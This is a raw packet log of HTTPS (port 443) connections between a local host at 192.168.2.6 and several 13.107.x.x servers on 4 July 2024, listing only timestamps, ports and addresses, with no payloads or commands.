Jul 4, 2024 20:16:58.764544964 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.765208960 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.765273094 CEST	49776	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:58.765280008 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.765438080 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.765496969 CEST	49776	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:58.765503883 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.817598104 CEST	49776	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:58.852128029 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.852143049 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.852224112 CEST	49776	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:58.852231979 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.852361917 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.852416039 CEST	49776	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:58.852423906 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.852847099 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.852907896 CEST	49776	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:58.852915049 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.853112936 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.853168964 CEST	49776	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:58.853176117 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.853493929 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.853563070 CEST	49776	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:58.853570938 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.853705883 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.853768110 CEST	49776	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:58.853774071 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.854262114 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.854326963 CEST	49776	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:58.854334116 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.854464054 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.854512930 CEST	49776	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:58.854520082 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.855114937 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.855166912 CEST	49776	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:58.855562925 CEST	49776	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:58.855576038 CEST	443	49776	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:58.857018948 CEST	49777	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:58.857075930 CEST	443	49777	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:58.857160091 CEST	49777	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:58.857404947 CEST	49777	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:58.857424974 CEST	443	49777	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:59.442387104 CEST	443	49777	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:59.444581032 CEST	49777	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:59.444607019 CEST	443	49777	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:59.568509102 CEST	443	49777	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:59.568583965 CEST	443	49777	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:59.568655014 CEST	49777	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:59.569097042 CEST	49777	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:59.570226908 CEST	49778	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:59.570254087 CEST	443	49778	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:59.570341110 CEST	49778	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:59.570549011 CEST	49778	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:59.570565939 CEST	443	49778	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:00.167459011 CEST	443	49778	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:00.169286013 CEST	49778	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:17:00.169318914 CEST	443	49778	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:01.078479052 CEST	443	49778	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:01.078558922 CEST	49778	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:17:01.078562021 CEST	443	49778	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:01.078624964 CEST	49778	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:17:01.079242945 CEST	49778	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:17:01.080751896 CEST	49779	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:17:01.080795050 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:01.080863953 CEST	49779	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:17:01.081135035 CEST	49779	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:17:01.081151009 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:01.706824064 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:01.708781004 CEST	49779	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:17:01.708801031 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:01.952410936 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:01.952471018 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:01.952480078 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:01.952713966 CEST	49779	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:17:01.952739954 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:01.952791929 CEST	49779	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:17:01.957127094 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:01.957222939 CEST	49779	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:17:01.991348028 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:01.991470098 CEST	49779	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:17:01.991483927 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:01.991544008 CEST	49779	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:17:01.992304087 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:01.992358923 CEST	49779	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:17:01.992367029 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:01.993274927 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:01.993429899 CEST	49779	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:17:01.993439913 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:01.995942116 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:01.996012926 CEST	49779	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:17:01.996021032 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:02.036384106 CEST	49779	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:17:02.082510948 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:02.082534075 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:02.082613945 CEST	49779	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:17:02.082627058 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:02.082690954 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:02.082752943 CEST	49779	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:17:02.082761049 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:02.083447933 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:02.083559990 CEST	49779	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:17:02.083568096 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:02.083681107 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:02.083765030 CEST	49779	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:17:02.083772898 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:02.083811998 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:02.083921909 CEST	49779	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:17:02.083931923 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:02.087165117 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:02.087239981 CEST	49779	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:17:02.087249041 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:02.087528944 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:02.087590933 CEST	49779	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:17:02.087599039 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:02.087908983 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:02.087977886 CEST	49779	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:17:02.087985039 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:02.096179008 CEST	49779	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:17:02.096287012 CEST	49779	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:17:02.174251080 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:02.174434900 CEST	49779	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:17:02.174444914 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:02.174487114 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:02.174561024 CEST	49779	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:17:02.174568892 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:02.174691916 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:02.174742937 CEST	49779	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:17:02.174751043 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:02.175003052 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:02.175096035 CEST	49779	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:17:02.175103903 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:02.175426960 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:02.175487041 CEST	49779	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:17:02.175496101 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:02.175651073 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:02.175710917 CEST	49779	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:17:02.175719976 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:02.175915956 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:02.175976992 CEST	49779	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:17:02.175985098 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:02.176132917 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:02.176255941 CEST	49779	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:17:02.176263094 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:02.176323891 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:02.177134991 CEST	49779	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:17:02.177475929 CEST	49779	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:17:02.177500963 CEST	443	49779	13.107.139.11	192.168.2.6
Jul 4, 2024 20:17:02.189779997 CEST	49781	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:02.189805031 CEST	443	49781	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:02.189958096 CEST	49781	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:02.190138102 CEST	49781	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:02.190149069 CEST	443	49781	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:02.781361103 CEST	443	49781	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:02.783627033 CEST	49781	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:02.783642054 CEST	443	49781	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:02.958894968 CEST	443	49781	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:02.958967924 CEST	443	49781	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:02.959043026 CEST	49781	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:02.959489107 CEST	49781	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:02.968022108 CEST	49782	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:02.968049049 CEST	443	49782	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:02.968121052 CEST	49782	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:02.968353987 CEST	49782	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:02.968369007 CEST	443	49782	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:03.906604052 CEST	443	49782	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:03.911704063 CEST	49782	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:03.911736012 CEST	443	49782	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:04.896585941 CEST	443	49782	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:04.896663904 CEST	443	49782	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:04.896672010 CEST	49782	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:04.896720886 CEST	49782	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:04.897353888 CEST	49782	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:04.898711920 CEST	49783	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:04.898751974 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:04.898833036 CEST	49783	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:04.899099112 CEST	49783	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:04.899112940 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.498013020 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.499650955 CEST	49783	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:05.499677896 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.693718910 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.693748951 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.693809986 CEST	49783	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:05.693839073 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.694524050 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.694786072 CEST	49783	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:05.694792032 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.695240974 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.695286036 CEST	49783	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:05.695291042 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.739516973 CEST	49783	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:05.783706903 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.783725023 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.783818960 CEST	49783	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:05.783858061 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.783986092 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.784049034 CEST	49783	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:05.784060001 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.784634113 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.784698009 CEST	49783	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:05.784704924 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.785218954 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.785279036 CEST	49783	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:05.785284996 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.833229065 CEST	49783	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:05.873239994 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.873250961 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.873359919 CEST	49783	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:05.873369932 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.873739958 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.873750925 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.873811960 CEST	49783	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:05.873817921 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.874285936 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.874319077 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.874367952 CEST	49783	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:05.874372959 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.874397039 CEST	49783	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:05.874586105 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.874644041 CEST	49783	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:05.874649048 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.875350952 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.875415087 CEST	49783	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:05.875421047 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.875541925 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.875601053 CEST	49783	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:05.875607014 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.876508951 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.876566887 CEST	49783	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:05.876571894 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.915035963 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.915134907 CEST	49783	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:05.915147066 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.958240986 CEST	49783	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:05.963341951 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.963360071 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.963403940 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.963466883 CEST	49783	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:05.963525057 CEST	49783	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:05.963532925 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.963542938 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.963665009 CEST	49783	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:05.963677883 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.963829994 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.963840961 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.963896990 CEST	49783	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:05.963902950 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.964328051 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.964365005 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.964390039 CEST	49783	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:05.964395046 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.964421988 CEST	49783	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:05.964822054 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.964888096 CEST	49783	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:05.964893103 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.965150118 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.965208054 CEST	49783	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:05.965214014 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.965334892 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.965390921 CEST	49783	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:05.965395927 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.965898991 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.965964079 CEST	49783	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:05.965969086 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.966255903 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.966312885 CEST	49783	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:05.966319084 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.966809988 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.966876030 CEST	49783	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:05.966881037 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.967031002 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.967089891 CEST	49783	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:05.967093945 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.967103004 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.967153072 CEST	49783	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:05.967156887 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.967194080 CEST	443	49783	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:05.967245102 CEST	49783	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:05.967690945 CEST	49783	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:05.977757931 CEST	49784	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:05.977792025 CEST	443	49784	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:05.977880955 CEST	49784	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:05.978183985 CEST	49784	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:05.978199005 CEST	443	49784	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:06.547209978 CEST	443	49784	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:06.551772118 CEST	49784	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:06.551805019 CEST	443	49784	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:06.687042952 CEST	443	49784	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:06.687115908 CEST	443	49784	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:06.687169075 CEST	49784	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:06.687805891 CEST	49784	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:06.689780951 CEST	49785	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:06.689809084 CEST	443	49785	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:06.689907074 CEST	49785	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:06.690254927 CEST	49785	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:06.690269947 CEST	443	49785	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:07.335042000 CEST	443	49785	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:07.339268923 CEST	49785	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:07.339283943 CEST	443	49785	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:08.334507942 CEST	443	49785	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:08.334614038 CEST	49785	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:08.334624052 CEST	443	49785	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:08.334662914 CEST	443	49785	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:08.334706068 CEST	49785	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:08.335426092 CEST	49785	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:08.336965084 CEST	49786	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:08.336982965 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:08.337069035 CEST	49786	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:08.337346077 CEST	49786	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:08.337357044 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:08.948801041 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:08.950725079 CEST	49786	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:08.950737953 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.205553055 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.205593109 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.205641031 CEST	49786	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:09.205651999 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.205699921 CEST	49786	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:09.206572056 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.206579924 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.206633091 CEST	49786	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:09.206640005 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.207288027 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.207382917 CEST	49786	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:09.207391024 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.207463026 CEST	49786	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:09.298589945 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.298746109 CEST	49786	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:09.298754930 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.299746990 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.299828053 CEST	49786	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:09.299834967 CEST	443	49786	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:09.300901890 CEST	443	49786	13.107.137.11	192.168.2.6
